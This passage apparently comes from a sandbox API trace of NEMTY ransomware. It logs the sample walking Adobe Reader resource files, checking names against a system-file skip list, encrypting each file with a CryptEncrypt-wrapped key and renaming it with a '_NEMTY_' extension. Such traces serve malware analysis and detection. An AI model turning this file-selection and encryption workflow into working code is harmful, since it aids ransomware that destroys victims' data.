(x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_BE_PREEURO.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_be_preeuro.txt._nemty_kgobjgd_")) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340310 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0216.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.126] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dc6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nl_NL.txt", cAlternateFileName="DI742E~1.TXT")) returned 1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2=".") returned 1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="..") returned 1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="...") returned 1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="windows") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="rsa") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="NTDETECT.COM") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="ntldr") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="MSDOS.SYS") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="IO.SYS") returned -1 [0216.126] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="boot.ini") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="boot.ini") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="ntuser.dat") returned -1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="desktop.ini") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="CONFIG.SYS") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="RECYCLER") returned -1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="bootmgr") returned 1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="programdata") returned -1 [0216.127] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL.txt", lpString2="appdata") returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL.txt", lpUsedDefaultChar=0x0) returned 30 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0216.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0216.127] Sleep (dwMilliseconds=0x5) [0216.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3476edf0, dwHighDateTime=0x1d561e8)) [0216.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x3476edf0, dwHighDateTime=0x1d561e8)) [0216.136] GetLastError () returned 0x0 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.136] GetLastError () returned 0x0 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.136] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0216.136] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="voC+CuJz5watG5l3v2/Puxsv+y9dQhfdk/6sCA4X5x9rHCjD/wSrS9/jlCNhKI3J\r\nyYQR5VnfS8geubYPq26cN3gPKFvnp+0IWVaXE8xZWOVk1SNFFhzQdePGy9lDz5Ia\r\nDkWZlF5ZsDr5J+F8ARMgRhONg9ubt2BT0St1gDRwi79zVxuGO8PukCiE5QsyVAvN\r\nT6KaXMiLdmhXF8DVYpCULbgrTJwHDnP+vgDgEzNLxPcpFbc4lRYF6vI2dbunDR5R\r\neU2XKUNkTe2iYwAIUnig7JRvaxs5+Z3PPS2mKsUK06azc+LeYjtiAYvwpXZM6CVQ\r\n5lHbH733knz2pl8uiV04zg==\r\n", pcchString=0x653e5dc) returned 1 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0216.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.137] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0216.137] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28102) returned 1 [0216.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6dc0) returned 0x6352c48 [0216.137] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.137] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6dc0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6dc0, lpOverlapped=0x0) returned 1 [0216.140] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.140] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6dc0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6dc0, lpOverlapped=0x0) returned 1 [0216.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.141] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28102, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6dc6 [0216.141] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0216.141] CloseHandle (hObject=0x2e8) returned 1 [0216.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0216.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0216.141] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0216.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0216.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0216.141] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0216.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0216.141] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0216.141] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl.txt._nemty_kgobjgd_")) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.142] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.142] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dd16b20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6dd6, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.nl_NL_PREEURO.txt", cAlternateFileName="DI3524~1.TXT")) returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2=".") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="..") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="...") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="windows") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="$RECYCLE.BIN") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="rsa") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="NTDETECT.COM") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="ntldr") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="MSDOS.SYS") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="IO.SYS") returned -1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="boot.ini") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="AUTOEXEC.BAT") returned 1 [0216.142] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="ntuser.dat") returned -1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="desktop.ini") returned 1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="CONFIG.SYS") returned 1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="RECYCLER") returned -1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="BOOTSECT.BAK") returned 1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="bootmgr") returned 1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="programdata") returned -1 [0216.143] lstrcmpiW (lpString1="DisplayLanguageNames.nl_NL_PREEURO.txt", lpString2="appdata") returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345608, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0216.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x6345640, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340130 [0216.143] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0216.143] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0216.143] Sleep (dwMilliseconds=0x5) [0216.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34794f50, dwHighDateTime=0x1d561e8)) [0216.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x34794f50, dwHighDateTime=0x1d561e8)) [0216.151] GetLastError () returned 0x0 [0216.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.151] GetLastError () returned 0x0 [0216.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0216.152] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0216.152] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0216.152] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.152] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: 